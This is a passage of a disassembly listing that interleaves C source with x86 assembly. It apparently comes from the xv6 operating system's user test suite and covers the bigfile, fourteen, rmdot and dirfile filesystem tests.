2749: 5d pop %ebp
274a: c3 ret
}
int i;
for(i = 0; i < 2; i++){
int cc = write(fd, buf, sz);
if(cc != sz){
printf(1, "write(%d) ret %d\n", sz, cc);
274b: 89 44 24 0c mov %eax,0xc(%esp)
274f: 89 5c 24 08 mov %ebx,0x8(%esp)
2753: c7 44 24 04 f5 4b 00 movl $0x4bf5,0x4(%esp)
275a: 00
275b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2762: e8 99 16 00 00 call 3e00 <printf>
exit();
2767: e8 36 15 00 00 call 3ca2 <exit>
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
fd = open("bigwrite", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "cannot create bigwrite\n");
276c: c7 44 24 04 dd 4b 00 movl $0x4bdd,0x4(%esp)
2773: 00
2774: c7 04 24 01 00 00 00 movl $0x1,(%esp)
277b: e8 80 16 00 00 call 3e00 <printf>
exit();
2780: e8 1d 15 00 00 call 3ca2 <exit>
2785: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00002790 <bigfile>:
printf(1, "bigwrite ok\n");
}
void
bigfile(void)
{
2790: 55 push %ebp
2791: 89 e5 mov %esp,%ebp
2793: 57 push %edi
2794: 56 push %esi
2795: 53 push %ebx
2796: 83 ec 1c sub $0x1c,%esp
int fd, i, total, cc;
printf(1, "bigfile test\n");
2799: c7 44 24 04 14 4c 00 movl $0x4c14,0x4(%esp)
27a0: 00
27a1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27a8: e8 53 16 00 00 call 3e00 <printf>
unlink("bigfile");
27ad: c7 04 24 30 4c 00 00 movl $0x4c30,(%esp)
27b4: e8 39 15 00 00 call 3cf2 <unlink>
fd = open("bigfile", O_CREATE | O_RDWR);
27b9: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
27c0: 00
27c1: c7 04 24 30 4c 00 00 movl $0x4c30,(%esp)
27c8: e8 15 15 00 00 call 3ce2 <open>
if(fd < 0){
27cd: 85 c0 test %eax,%eax
int fd, i, total, cc;
printf(1, "bigfile test\n");
unlink("bigfile");
fd = open("bigfile", O_CREATE | O_RDWR);
27cf: 89 c6 mov %eax,%esi
if(fd < 0){
27d1: 0f 88 7f 01 00 00 js 2956 <bigfile+0x1c6>
27d7: 31 db xor %ebx,%ebx
27d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "cannot create bigfile");
exit();
}
for(i = 0; i < 20; i++){
memset(buf, i, 600);
27e0: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
27e7: 00
27e8: 89 5c 24 04 mov %ebx,0x4(%esp)
27ec: c7 04 24 c0 89 00 00 movl $0x89c0,(%esp)
27f3: e8 38 13 00 00 call 3b30 <memset>
if(write(fd, buf, 600) != 600){
27f8: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
27ff: 00
2800: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
2807: 00
2808: 89 34 24 mov %esi,(%esp)
280b: e8 b2 14 00 00 call 3cc2 <write>
2810: 3d 58 02 00 00 cmp $0x258,%eax
2815: 0f 85 09 01 00 00 jne 2924 <bigfile+0x194>
fd = open("bigfile", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "cannot create bigfile");
exit();
}
for(i = 0; i < 20; i++){
281b: 83 c3 01 add $0x1,%ebx
281e: 83 fb 14 cmp $0x14,%ebx
2821: 75 bd jne 27e0 <bigfile+0x50>
if(write(fd, buf, 600) != 600){
printf(1, "write bigfile failed\n");
exit();
}
}
close(fd);
2823: 89 34 24 mov %esi,(%esp)
2826: e8 9f 14 00 00 call 3cca <close>
fd = open("bigfile", 0);
282b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2832: 00
2833: c7 04 24 30 4c 00 00 movl $0x4c30,(%esp)
283a: e8 a3 14 00 00 call 3ce2 <open>
if(fd < 0){
283f: 85 c0 test %eax,%eax
exit();
}
}
close(fd);
fd = open("bigfile", 0);
2841: 89 c6 mov %eax,%esi
if(fd < 0){
2843: 0f 88 f4 00 00 00 js 293d <bigfile+0x1ad>
2849: 31 db xor %ebx,%ebx
284b: 31 ff xor %edi,%edi
284d: eb 2f jmp 287e <bigfile+0xee>
284f: 90 nop
printf(1, "read bigfile failed\n");
exit();
}
if(cc == 0)
break;
if(cc != 300){
2850: 3d 2c 01 00 00 cmp $0x12c,%eax
2855: 0f 85 97 00 00 00 jne 28f2 <bigfile+0x162>
printf(1, "short read bigfile\n");
exit();
}
if(buf[0] != i/2 || buf[299] != i/2){
285b: 0f be 05 c0 89 00 00 movsbl 0x89c0,%eax
2862: 89 fa mov %edi,%edx
2864: d1 fa sar %edx
2866: 39 d0 cmp %edx,%eax
2868: 75 6f jne 28d9 <bigfile+0x149>
286a: 0f be 15 eb 8a 00 00 movsbl 0x8aeb,%edx
2871: 39 d0 cmp %edx,%eax
2873: 75 64 jne 28d9 <bigfile+0x149>
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
2875: 81 c3 2c 01 00 00 add $0x12c,%ebx
if(fd < 0){
printf(1, "cannot open bigfile\n");
exit();
}
total = 0;
for(i = 0; ; i++){
287b: 83 c7 01 add $0x1,%edi
cc = read(fd, buf, 300);
287e: c7 44 24 08 2c 01 00 movl $0x12c,0x8(%esp)
2885: 00
2886: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
288d: 00
288e: 89 34 24 mov %esi,(%esp)
2891: e8 24 14 00 00 call 3cba <read>
if(cc < 0){
2896: 85 c0 test %eax,%eax
2898: 78 71 js 290b <bigfile+0x17b>
printf(1, "read bigfile failed\n");
exit();
}
if(cc == 0)
289a: 75 b4 jne 2850 <bigfile+0xc0>
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
close(fd);
289c: 89 34 24 mov %esi,(%esp)
289f: 90 nop
28a0: e8 25 14 00 00 call 3cca <close>
if(total != 20*600){
28a5: 81 fb e0 2e 00 00 cmp $0x2ee0,%ebx
28ab: 0f 85 be 00 00 00 jne 296f <bigfile+0x1df>
printf(1, "read bigfile wrong total\n");
exit();
}
unlink("bigfile");
28b1: c7 04 24 30 4c 00 00 movl $0x4c30,(%esp)
28b8: e8 35 14 00 00 call 3cf2 <unlink>
printf(1, "bigfile test ok\n");
28bd: c7 44 24 04 bf 4c 00 movl $0x4cbf,0x4(%esp)
28c4: 00
28c5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28cc: e8 2f 15 00 00 call 3e00 <printf>
}
28d1: 83 c4 1c add $0x1c,%esp
28d4: 5b pop %ebx
28d5: 5e pop %esi
28d6: 5f pop %edi
28d7: 5d pop %ebp
28d8: c3 ret
if(cc != 300){
printf(1, "short read bigfile\n");
exit();
}
if(buf[0] != i/2 || buf[299] != i/2){
printf(1, "read bigfile wrong data\n");
28d9: c7 44 24 04 8c 4c 00 movl $0x4c8c,0x4(%esp)
28e0: 00
28e1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28e8: e8 13 15 00 00 call 3e00 <printf>
exit();
28ed: e8 b0 13 00 00 call 3ca2 <exit>
exit();
}
if(cc == 0)
break;
if(cc != 300){
printf(1, "short read bigfile\n");
28f2: c7 44 24 04 78 4c 00 movl $0x4c78,0x4(%esp)
28f9: 00
28fa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2901: e8 fa 14 00 00 call 3e00 <printf>
exit();
2906: e8 97 13 00 00 call 3ca2 <exit>
}
total = 0;
for(i = 0; ; i++){
cc = read(fd, buf, 300);
if(cc < 0){
printf(1, "read bigfile failed\n");
290b: c7 44 24 04 63 4c 00 movl $0x4c63,0x4(%esp)
2912: 00
2913: c7 04 24 01 00 00 00 movl $0x1,(%esp)
291a: e8 e1 14 00 00 call 3e00 <printf>
exit();
291f: e8 7e 13 00 00 call 3ca2 <exit>
exit();
}
for(i = 0; i < 20; i++){
memset(buf, i, 600);
if(write(fd, buf, 600) != 600){
printf(1, "write bigfile failed\n");
2924: c7 44 24 04 38 4c 00 movl $0x4c38,0x4(%esp)
292b: 00
292c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2933: e8 c8 14 00 00 call 3e00 <printf>
exit();
2938: e8 65 13 00 00 call 3ca2 <exit>
}
close(fd);
fd = open("bigfile", 0);
if(fd < 0){
printf(1, "cannot open bigfile\n");
293d: c7 44 24 04 4e 4c 00 movl $0x4c4e,0x4(%esp)
2944: 00
2945: c7 04 24 01 00 00 00 movl $0x1,(%esp)
294c: e8 af 14 00 00 call 3e00 <printf>
exit();
2951: e8 4c 13 00 00 call 3ca2 <exit>
printf(1, "bigfile test\n");
unlink("bigfile");
fd = open("bigfile", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "cannot create bigfile");
2956: c7 44 24 04 22 4c 00 movl $0x4c22,0x4(%esp)
295d: 00
295e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2965: e8 96 14 00 00 call 3e00 <printf>
exit();
296a: e8 33 13 00 00 call 3ca2 <exit>
}
total += cc;
}
close(fd);
if(total != 20*600){
printf(1, "read bigfile wrong total\n");
296f: c7 44 24 04 a5 4c 00 movl $0x4ca5,0x4(%esp)
2976: 00
2977: c7 04 24 01 00 00 00 movl $0x1,(%esp)
297e: e8 7d 14 00 00 call 3e00 <printf>
exit();
2983: e8 1a 13 00 00 call 3ca2 <exit>
2988: 90 nop
2989: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00002990 <fourteen>:
printf(1, "bigfile test ok\n");
}
void
fourteen(void)
{
2990: 55 push %ebp
2991: 89 e5 mov %esp,%ebp
2993: 83 ec 18 sub $0x18,%esp
int fd;
// DIRSIZ is 14.
printf(1, "fourteen test\n");
2996: c7 44 24 04 d0 4c 00 movl $0x4cd0,0x4(%esp)
299d: 00
299e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29a5: e8 56 14 00 00 call 3e00 <printf>
if(mkdir("12345678901234") != 0){
29aa: c7 04 24 0b 4d 00 00 movl $0x4d0b,(%esp)
29b1: e8 54 13 00 00 call 3d0a <mkdir>
29b6: 85 c0 test %eax,%eax
29b8: 0f 85 92 00 00 00 jne 2a50 <fourteen+0xc0>
printf(1, "mkdir 12345678901234 failed\n");
exit();
}
if(mkdir("12345678901234/123456789012345") != 0){
29be: c7 04 24 c8 54 00 00 movl $0x54c8,(%esp)
29c5: e8 40 13 00 00 call 3d0a <mkdir>
29ca: 85 c0 test %eax,%eax
29cc: 0f 85 fb 00 00 00 jne 2acd <fourteen+0x13d>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
exit();
}
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
29d2: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
29d9: 00
29da: c7 04 24 18 55 00 00 movl $0x5518,(%esp)
29e1: e8 fc 12 00 00 call 3ce2 <open>
if(fd < 0){
29e6: 85 c0 test %eax,%eax
29e8: 0f 88 c6 00 00 00 js 2ab4 <fourteen+0x124>
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
exit();
}
close(fd);
29ee: 89 04 24 mov %eax,(%esp)
29f1: e8 d4 12 00 00 call 3cca <close>
fd = open("12345678901234/12345678901234/12345678901234", 0);
29f6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
29fd: 00
29fe: c7 04 24 88 55 00 00 movl $0x5588,(%esp)
2a05: e8 d8 12 00 00 call 3ce2 <open>
if(fd < 0){
2a0a: 85 c0 test %eax,%eax
2a0c: 0f 88 89 00 00 00 js 2a9b <fourteen+0x10b>
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
exit();
}
close(fd);
2a12: 89 04 24 mov %eax,(%esp)
2a15: e8 b0 12 00 00 call 3cca <close>
if(mkdir("12345678901234/12345678901234") == 0){
2a1a: c7 04 24 fc 4c 00 00 movl $0x4cfc,(%esp)
2a21: e8 e4 12 00 00 call 3d0a <mkdir>
2a26: 85 c0 test %eax,%eax
2a28: 74 58 je 2a82 <fourteen+0xf2>
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
exit();
}
if(mkdir("123456789012345/12345678901234") == 0){
2a2a: c7 04 24 24 56 00 00 movl $0x5624,(%esp)
2a31: e8 d4 12 00 00 call 3d0a <mkdir>
2a36: 85 c0 test %eax,%eax
2a38: 74 2f je 2a69 <fourteen+0xd9>
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
exit();
}
printf(1, "fourteen ok\n");
2a3a: c7 44 24 04 1a 4d 00 movl $0x4d1a,0x4(%esp)
2a41: 00
2a42: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a49: e8 b2 13 00 00 call 3e00 <printf>
}
2a4e: c9 leave
2a4f: c3 ret
// DIRSIZ is 14.
printf(1, "fourteen test\n");
if(mkdir("12345678901234") != 0){
printf(1, "mkdir 12345678901234 failed\n");
2a50: c7 44 24 04 df 4c 00 movl $0x4cdf,0x4(%esp)
2a57: 00
2a58: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a5f: e8 9c 13 00 00 call 3e00 <printf>
exit();
2a64: e8 39 12 00 00 call 3ca2 <exit>
if(mkdir("12345678901234/12345678901234") == 0){
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
exit();
}
if(mkdir("123456789012345/12345678901234") == 0){
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
2a69: c7 44 24 04 44 56 00 movl $0x5644,0x4(%esp)
2a70: 00
2a71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a78: e8 83 13 00 00 call 3e00 <printf>
exit();
2a7d: e8 20 12 00 00 call 3ca2 <exit>
exit();
}
close(fd);
if(mkdir("12345678901234/12345678901234") == 0){
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
2a82: c7 44 24 04 f4 55 00 movl $0x55f4,0x4(%esp)
2a89: 00
2a8a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a91: e8 6a 13 00 00 call 3e00 <printf>
exit();
2a96: e8 07 12 00 00 call 3ca2 <exit>
exit();
}
close(fd);
fd = open("12345678901234/12345678901234/12345678901234", 0);
if(fd < 0){
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
2a9b: c7 44 24 04 b8 55 00 movl $0x55b8,0x4(%esp)
2aa2: 00
2aa3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2aaa: e8 51 13 00 00 call 3e00 <printf>
exit();
2aaf: e8 ee 11 00 00 call 3ca2 <exit>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
exit();
}
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
if(fd < 0){
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
2ab4: c7 44 24 04 48 55 00 movl $0x5548,0x4(%esp)
2abb: 00
2abc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ac3: e8 38 13 00 00 call 3e00 <printf>
exit();
2ac8: e8 d5 11 00 00 call 3ca2 <exit>
if(mkdir("12345678901234") != 0){
printf(1, "mkdir 12345678901234 failed\n");
exit();
}
if(mkdir("12345678901234/123456789012345") != 0){
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
2acd: c7 44 24 04 e8 54 00 movl $0x54e8,0x4(%esp)
2ad4: 00
2ad5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2adc: e8 1f 13 00 00 call 3e00 <printf>
exit();
2ae1: e8 bc 11 00 00 call 3ca2 <exit>
2ae6: 8d 76 00 lea 0x0(%esi),%esi
2ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00002af0 <rmdot>:
printf(1, "fourteen ok\n");
}
void
rmdot(void)
{
2af0: 55 push %ebp
2af1: 89 e5 mov %esp,%ebp
2af3: 83 ec 18 sub $0x18,%esp
printf(1, "rmdot test\n");
2af6: c7 44 24 04 27 4d 00 movl $0x4d27,0x4(%esp)
2afd: 00
2afe: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b05: e8 f6 12 00 00 call 3e00 <printf>
if(mkdir("dots") != 0){
2b0a: c7 04 24 33 4d 00 00 movl $0x4d33,(%esp)
2b11: e8 f4 11 00 00 call 3d0a <mkdir>
2b16: 85 c0 test %eax,%eax
2b18: 0f 85 9a 00 00 00 jne 2bb8 <rmdot+0xc8>
printf(1, "mkdir dots failed\n");
exit();
}
if(chdir("dots") != 0){
2b1e: c7 04 24 33 4d 00 00 movl $0x4d33,(%esp)
2b25: e8 e8 11 00 00 call 3d12 <chdir>
2b2a: 85 c0 test %eax,%eax
2b2c: 0f 85 35 01 00 00 jne 2c67 <rmdot+0x177>
printf(1, "chdir dots failed\n");
exit();
}
if(unlink(".") == 0){
2b32: c7 04 24 de 49 00 00 movl $0x49de,(%esp)
2b39: e8 b4 11 00 00 call 3cf2 <unlink>
2b3e: 85 c0 test %eax,%eax
2b40: 0f 84 08 01 00 00 je 2c4e <rmdot+0x15e>
printf(1, "rm . worked!\n");
exit();
}
if(unlink("..") == 0){
2b46: c7 04 24 dd 49 00 00 movl $0x49dd,(%esp)
2b4d: e8 a0 11 00 00 call 3cf2 <unlink>
2b52: 85 c0 test %eax,%eax
2b54: 0f 84 db 00 00 00 je 2c35 <rmdot+0x145>
printf(1, "rm .. worked!\n");
exit();
}
if(chdir("/") != 0){
2b5a: c7 04 24 b1 41 00 00 movl $0x41b1,(%esp)
2b61: e8 ac 11 00 00 call 3d12 <chdir>
2b66: 85 c0 test %eax,%eax
2b68: 0f 85 ae 00 00 00 jne 2c1c <rmdot+0x12c>
printf(1, "chdir / failed\n");
exit();
}
if(unlink("dots/.") == 0){
2b6e: c7 04 24 7b 4d 00 00 movl $0x4d7b,(%esp)
2b75: e8 78 11 00 00 call 3cf2 <unlink>
2b7a: 85 c0 test %eax,%eax
2b7c: 0f 84 81 00 00 00 je 2c03 <rmdot+0x113>
printf(1, "unlink dots/. worked!\n");
exit();
}
if(unlink("dots/..") == 0){
2b82: c7 04 24 99 4d 00 00 movl $0x4d99,(%esp)
2b89: e8 64 11 00 00 call 3cf2 <unlink>
2b8e: 85 c0 test %eax,%eax
2b90: 74 58 je 2bea <rmdot+0xfa>
printf(1, "unlink dots/.. worked!\n");
exit();
}
if(unlink("dots") != 0){
2b92: c7 04 24 33 4d 00 00 movl $0x4d33,(%esp)
2b99: e8 54 11 00 00 call 3cf2 <unlink>
2b9e: 85 c0 test %eax,%eax
2ba0: 75 2f jne 2bd1 <rmdot+0xe1>
printf(1, "unlink dots failed!\n");
exit();
}
printf(1, "rmdot ok\n");
2ba2: c7 44 24 04 ce 4d 00 movl $0x4dce,0x4(%esp)
2ba9: 00
2baa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bb1: e8 4a 12 00 00 call 3e00 <printf>
}
2bb6: c9 leave
2bb7: c3 ret
void
rmdot(void)
{
printf(1, "rmdot test\n");
if(mkdir("dots") != 0){
printf(1, "mkdir dots failed\n");
2bb8: c7 44 24 04 38 4d 00 movl $0x4d38,0x4(%esp)
2bbf: 00
2bc0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bc7: e8 34 12 00 00 call 3e00 <printf>
exit();
2bcc: e8 d1 10 00 00 call 3ca2 <exit>
if(unlink("dots/..") == 0){
printf(1, "unlink dots/.. worked!\n");
exit();
}
if(unlink("dots") != 0){
printf(1, "unlink dots failed!\n");
2bd1: c7 44 24 04 b9 4d 00 movl $0x4db9,0x4(%esp)
2bd8: 00
2bd9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2be0: e8 1b 12 00 00 call 3e00 <printf>
exit();
2be5: e8 b8 10 00 00 call 3ca2 <exit>
if(unlink("dots/.") == 0){
printf(1, "unlink dots/. worked!\n");
exit();
}
if(unlink("dots/..") == 0){
printf(1, "unlink dots/.. worked!\n");
2bea: c7 44 24 04 a1 4d 00 movl $0x4da1,0x4(%esp)
2bf1: 00
2bf2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bf9: e8 02 12 00 00 call 3e00 <printf>
exit();
2bfe: e8 9f 10 00 00 call 3ca2 <exit>
if(chdir("/") != 0){
printf(1, "chdir / failed\n");
exit();
}
if(unlink("dots/.") == 0){
printf(1, "unlink dots/. worked!\n");
2c03: c7 44 24 04 82 4d 00 movl $0x4d82,0x4(%esp)
2c0a: 00
2c0b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c12: e8 e9 11 00 00 call 3e00 <printf>
exit();
2c17: e8 86 10 00 00 call 3ca2 <exit>
if(unlink("..") == 0){
printf(1, "rm .. worked!\n");
exit();
}
if(chdir("/") != 0){
printf(1, "chdir / failed\n");
2c1c: c7 44 24 04 b3 41 00 movl $0x41b3,0x4(%esp)
2c23: 00
2c24: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c2b: e8 d0 11 00 00 call 3e00 <printf>
exit();
2c30: e8 6d 10 00 00 call 3ca2 <exit>
if(unlink(".") == 0){
printf(1, "rm . worked!\n");
exit();
}
if(unlink("..") == 0){
printf(1, "rm .. worked!\n");
2c35: c7 44 24 04 6c 4d 00 movl $0x4d6c,0x4(%esp)
2c3c: 00
2c3d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c44: e8 b7 11 00 00 call 3e00 <printf>
exit();
2c49: e8 54 10 00 00 call 3ca2 <exit>
if(chdir("dots") != 0){
printf(1, "chdir dots failed\n");
exit();
}
if(unlink(".") == 0){
printf(1, "rm . worked!\n");
2c4e: c7 44 24 04 5e 4d 00 movl $0x4d5e,0x4(%esp)
2c55: 00
2c56: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c5d: e8 9e 11 00 00 call 3e00 <printf>
exit();
2c62: e8 3b 10 00 00 call 3ca2 <exit>
if(mkdir("dots") != 0){
printf(1, "mkdir dots failed\n");
exit();
}
if(chdir("dots") != 0){
printf(1, "chdir dots failed\n");
2c67: c7 44 24 04 4b 4d 00 movl $0x4d4b,0x4(%esp)
2c6e: 00
2c6f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c76: e8 85 11 00 00 call 3e00 <printf>
exit();
2c7b: e8 22 10 00 00 call 3ca2 <exit>
00002c80 <dirfile>:
printf(1, "rmdot ok\n");
}
void
dirfile(void)
{
2c80: 55 push %ebp
2c81: 89 e5 mov %esp,%ebp
2c83: 53 push %ebx
2c84: 83 ec 14 sub $0x14,%esp
int fd;
printf(1, "dir vs file\n");
2c87: c7 44 24 04 d8 4d 00 movl $0x4dd8,0x4(%esp)
2c8e: 00
2c8f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c96: e8 65 11 00 00 call 3e00 <printf>
fd = open("dirfile", O_CREATE);
2c9b: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2ca2: 00
2ca3: c7 04 24 e5 4d 00 00 movl $0x4de5,(%esp)
2caa: e8 33 10 00 00 call 3ce2 <open>
if(fd < 0){
2caf: 85 c0 test %eax,%eax
2cb1: 0f 88 4e 01 00 00 js 2e05 <dirfile+0x185>
printf(1, "create dirfile failed\n");
exit();
}
close(fd);
2cb7: 89 04 24 mov %eax,(%esp)
2cba: e8 0b 10 00 00 call 3cca <close>
if(chdir("dirfile") == 0){
2cbf: c7 04 24 e5 4d 00 00 movl $0x4de5,(%esp)
2cc6: e8 47 10 00 00 call 3d12 <chdir>
2ccb: 85 c0 test %eax,%eax
2ccd: 0f 84 19 01 00 00 je 2dec <dirfile+0x16c>
printf(1, "chdir dirfile succeeded!\n");
exit();
}
fd = open("dirfile/xx", 0);
2cd3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2cda: 00
2cdb: c7 04 24 1e 4e 00 00 movl $0x4e1e,(%esp)
2ce2: e8 fb 0f 00 00 call 3ce2 <open>
if(fd >= 0){
2ce7: 85 c0 test %eax,%eax
2ce9: 0f 89 e4 00 00 00 jns 2dd3 <dirfile+0x153>
printf(1, "create dirfile/xx succeeded!\n");
exit();
}
fd = open("dirfile/xx", O_CREATE);
2cef: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2cf6: 00
2cf7: c7 04 24 1e 4e 00 00 movl $0x4e1e,(%esp)
2cfe: e8 df 0f 00 00 call 3ce2 <open>
if(fd >= 0){
2d03: 85 c0 test %eax,%eax
2d05: 0f 89 c8 00 00 00 jns 2dd3 <dirfile+0x153>
printf(1, "create dirfile/xx succeeded!\n");
exit();
}
if(mkdir("dirfile/xx") == 0){
2d0b: c7 04 24 1e 4e 00 00 movl $0x4e1e,(%esp)
2d12: e8 f3 0f 00 00 call 3d0a <mkdir>
2d17: 85 c0 test %eax,%eax
2d19: 0f 84 7c 01 00 00 je 2e9b <dirfile+0x21b>
printf(1, "mkdir dirfile/xx succeeded!\n");
exit();
}
if(unlink("dirfile/xx") == 0){
2d1f: c7 04 24 1e 4e 00 00 movl $0x4e1e,(%esp)
2d26: e8 c7 0f 00 00 call 3cf2 <unlink>
2d2b: 85 c0 test %eax,%eax
2d2d: 0f 84 4f 01 00 00 je 2e82 <dirfile+0x202>
printf(1, "unlink dirfile/xx succeeded!\n");
exit();
}
if(link("README", "dirfile/xx") == 0){
2d33: c7 44 24 04 1e 4e 00 movl $0x4e1e,0x4(%esp)
2d3a: 00
2d3b: c7 04 24 82 4e 00 00 movl $0x4e82,(%esp)
2d42: e8 bb 0f 00 00 call 3d02 <link>
2d47: 85 c0 test %eax,%eax
2d49: 0f 84 1a 01 00 00 je 2e69 <dirfile+0x1e9>
printf(1, "link to dirfile/xx succeeded!\n");
exit();
}
if(unlink("dirfile") != 0){
2d4f: c7 04 24 e5 4d 00 00 movl $0x4de5,(%esp)
2d56: e8 97 0f 00 00 call 3cf2 <unlink>
2d5b: 85 c0 test %eax,%eax
2d5d: 0f 85 ed 00 00 00 jne 2e50 <dirfile+0x1d0>
printf(1, "unlink dirfile failed!\n");
exit();
}
fd = open(".", O_RDWR);
2d63: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
2d6a: 00
2d6b: c7 04 24 de 49 00 00 movl $0x49de,(%esp)
2d72: e8 6b 0f 00 00 call 3ce2 <open>
if(fd >= 0){
2d77: 85 c0 test %eax,%eax
2d79: 0f 89 b8 00 00 00 jns 2e37 <dirfile+0x1b7>
printf(1, "open . for writing succeeded!\n");
exit();
}
fd = open(".", 0);
2d7f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2d86: 00
2d87: c7 04 24 de 49 00 00 movl $0x49de,(%esp)
2d8e: e8 4f 0f 00 00 call 3ce2 <open>
if(write(fd, "x", 1) > 0){
2d93: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
2d9a: 00
2d9b: c7 44 24 04 c1 4a 00 movl $0x4ac1,0x4(%esp)
2da2: 00
2da3: 89 04 24 mov %eax,(%esp)
fd = open(".", O_RDWR);
if(fd >= 0){
printf(1, "open . for writing succeeded!\n");
exit();
}
fd = open(".", 0);
2da6: 89 c3 mov %eax,%ebx
if(write(fd, "x", 1) > 0){
2da8: e8 15 0f 00 00 call 3cc2 <write>
2dad: 85 c0 test %eax,%eax
2daf: 7f 6d jg 2e1e <dirfile+0x19e>
printf(1, "write . succeeded!\n");
exit();
}
close(fd);
2db1: 89 1c 24 mov %ebx,(%esp)
2db4: e8 11 0f 00 00 call 3cca <close>
printf(1, "dir vs file OK\n");
2db9: c7 44 24 04 b5 4e 00 movl $0x4eb5,0x4(%esp)
2dc0: 00
2dc1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dc8: e8 33 10 00 00 call 3e00 <printf>
}
2dcd: 83 c4 14 add $0x14,%esp
2dd0: 5b pop %ebx
2dd1: 5d pop %ebp
2dd2: c3 ret
printf(1, "chdir dirfile succeeded!\n");
exit();
}
fd = open("dirfile/xx", 0);
if(fd >= 0){
printf(1, "create dirfile/xx succeeded!\n");
2dd3: c7 44 24 04 29 4e 00 movl $0x4e29,0x4(%esp)
2dda: 00
2ddb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2de2: e8 19 10 00 00 call 3e00 <printf>
exit();
2de7: e8 b6 0e 00 00 call 3ca2 <exit>
printf(1, "create dirfile failed\n");
exit();
}
close(fd);
if(chdir("dirfile") == 0){
printf(1, "chdir dirfile succeeded!\n");
2dec: c7 44 24 04 04 4e 00 movl $0x4e04,0x4(%esp)
2df3: 00
2df4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dfb: e8 00 10 00 00 call 3e00 <printf>
exit();
2e00: e8 9d 0e 00 00 call 3ca2 <exit>
printf(1, "dir vs file\n");
fd = open("dirfile", O_CREATE);
if(fd < 0){
printf(1, "create dirfile failed\n");
2e05: c7 44 24 04 ed 4d 00 movl $0x4ded,0x4(%esp)
2e0c: 00
2e0d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e14: e8 e7 0f 00 00 call 3e00 <printf>
exit();
2e19: e8 84 0e 00 00 call 3ca2 <exit>
printf(1, "open . for writing succeeded!\n");
exit();
}
fd = open(".", 0);
if(write(fd, "x", 1) > 0){
printf(1, "write . succeeded!\n");
2e1e: c7 44 24 04 a1 4e 00 movl $0x4ea1,0x4(%esp)
2e25: 00
2e26: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e2d: e8 ce 0f 00 00 call 3e00 <printf>
exit();
2e32: e8 6b 0e 00 00 call 3ca2 <exit>
exit();
}
fd = open(".", O_RDWR);
if(fd >= 0){
printf(1, "open . for writing succeeded!\n");
2e37: c7 44 24 04 98 56 00 movl $0x5698,0x4(%esp)
2e3e: 00
2e3f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e46: e8 b5 0f 00 00 call 3e00 <printf>
exit();
2e4b: e8 52 0e 00 00 call 3ca2 <exit>
if(link("README", "dirfile/xx") == 0){
